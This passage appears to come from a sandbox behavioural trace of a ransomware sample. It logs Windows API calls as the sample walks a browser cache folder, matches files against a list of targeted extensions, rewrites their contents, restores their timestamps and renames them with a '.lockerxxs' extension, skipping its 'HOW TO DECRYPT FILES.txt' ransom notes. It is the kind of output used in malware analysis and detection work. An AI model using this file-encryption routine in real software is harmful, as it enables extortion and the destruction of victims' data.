Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" [0083.101] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" [0083.101] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg." [0083.101] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg.lockerxxs" [0083.101] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.102] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x34d8 [0083.102] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52f0cdd0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52f0cdd0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52f0cdd0, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.102] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.102] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x34b2, lpOverlapped=0x0) returned 1 [0083.104] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg") returned="BBC0FXU[1].jpg" [0083.104] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.104] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x34b2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x34b2, lpOverlapped=0x0) returned 1 [0083.105] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.105] CloseHandle (hObject=0xa4) returned 1 [0083.105] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg.lockerxxs")) returned 1 [0083.106] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61282d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61282d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61282d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2fd1, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0FXU[2].jpg", cAlternateFileName="BBC0FX~2.JPG")) returned 1 [0083.106] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.106] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0FXU[2].jpg") returned 1 [0083.106] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0FXU[2].jpg") returned 1 [0083.106] lstrcmpiA (lpString1="", lpString2="BBC0FXU[2].jpg") returned -1 [0083.106] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg") returned="BBC0FXU[1].jpg" [0083.106] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.106] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.106] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.106] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.106] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC0FXU[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" [0083.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.ems") returned 0 [0083.106] lstrlenA (lpString="*.ems") returned 5 [0083.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.db") returned 0 [0083.106] lstrlenA (lpString="*.db") returned 4 [0083.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.dbf") returned 0 [0083.107] lstrlenA (lpString="*.dbf") returned 5 [0083.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.myox") returned 0 [0083.107] lstrlenA (lpString="*.myox") returned 6 [0083.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.myo") returned 0 [0083.107] lstrlenA (lpString="*.myo") returned 5 [0083.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.qbw") returned 0 [0083.107] lstrlenA (lpString="*.qbw") returned 5 [0083.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.qbb") returned 0 [0083.107] lstrlenA (lpString="*.qbb") returned 5 [0083.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.qbm") returned 0 [0083.107] lstrlenA (lpString="*.qbm") returned 5 [0083.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.qbo") returned 0 [0083.107] lstrlenA (lpString="*.qbo") returned 5 [0083.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.qbx") returned 0 [0083.107] lstrlenA (lpString="*.qbx") returned 5 [0083.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.qba") returned 0 [0083.107] lstrlenA (lpString="*.qba") returned 5 [0083.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.qby") returned 0 [0083.108] lstrlenA (lpString="*.qby") returned 5 [0083.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.qbj") returned 0 [0083.108] lstrlenA (lpString="*.qbj") returned 5 [0083.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.ofx") returned 0 [0083.108] lstrlenA (lpString="*.ofx") returned 5 [0083.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.qif") returned 0 [0083.108] lstrlenA (lpString="*.qif") returned 5 [0083.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.mye") returned 0 [0083.108] lstrlenA (lpString="*.mye") returned 5 [0083.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.mbox") returned 0 [0083.108] lstrlenA (lpString="*.mbox") returned 6 [0083.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.eml") returned 0 [0083.108] lstrlenA (lpString="*.eml") returned 5 [0083.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.pst") returned 0 [0083.108] lstrlenA (lpString="*.pst") returned 5 [0083.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.ost") returned 0 [0083.108] lstrlenA (lpString="*.ost") returned 5 [0083.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.idx") returned 0 [0083.109] lstrlenA (lpString="*.idx") returned 5 [0083.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.dbx") returned 0 [0083.109] lstrlenA (lpString="*.dbx") returned 5 [0083.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.sql") returned 0 [0083.109] lstrlenA (lpString="*.sql") returned 5 [0083.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.mdb") returned 0 [0083.109] lstrlenA (lpString="*.mdb") returned 5 [0083.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.fdb") returned 0 [0083.109] lstrlenA (lpString="*.fdb") returned 5 [0083.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.wab") returned 0 [0083.109] lstrlenA (lpString="*.wab") returned 5 [0083.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.dat") returned 0 [0083.109] lstrlenA (lpString="*.dat") returned 5 [0083.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.txt") returned 0 [0083.109] lstrlenA (lpString="*.txt") returned 5 [0083.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.jpeg") returned 0 [0083.109] lstrlenA (lpString="*.jpeg") returned 6 [0083.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", pszSpec="*.jpg") returned 1 [0083.110] lstrlenA (lpString="*.jpg") returned 5 [0083.110] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" [0083.110] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" [0083.110] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg." [0083.110] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg.lockerxxs" [0083.110] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.111] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2fd1 [0083.111] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x61282d80, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x61282d80, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x61282d80, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.111] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.111] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2fab, lpOverlapped=0x0) returned 1 [0083.113] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg") returned="BBC0FXU[2].jpg" [0083.113] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.113] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2fab, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2fab, lpOverlapped=0x0) returned 1 [0083.114] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.114] CloseHandle (hObject=0xa4) returned 1 [0083.114] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg.lockerxxs")) returned 1 [0083.115] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e28590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e28590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52e28590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29c3, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0mkg[1].jpg", cAlternateFileName="BBC0MK~1.JPG")) returned 1 [0083.115] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.115] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0mkg[1].jpg") returned 1 [0083.115] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0mkg[1].jpg") returned 1 [0083.115] lstrcmpiA (lpString1="", lpString2="BBC0mkg[1].jpg") returned -1 [0083.115] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg") returned="BBC0FXU[2].jpg" [0083.115] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.115] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.115] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.115] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.115] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC0mkg[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg") 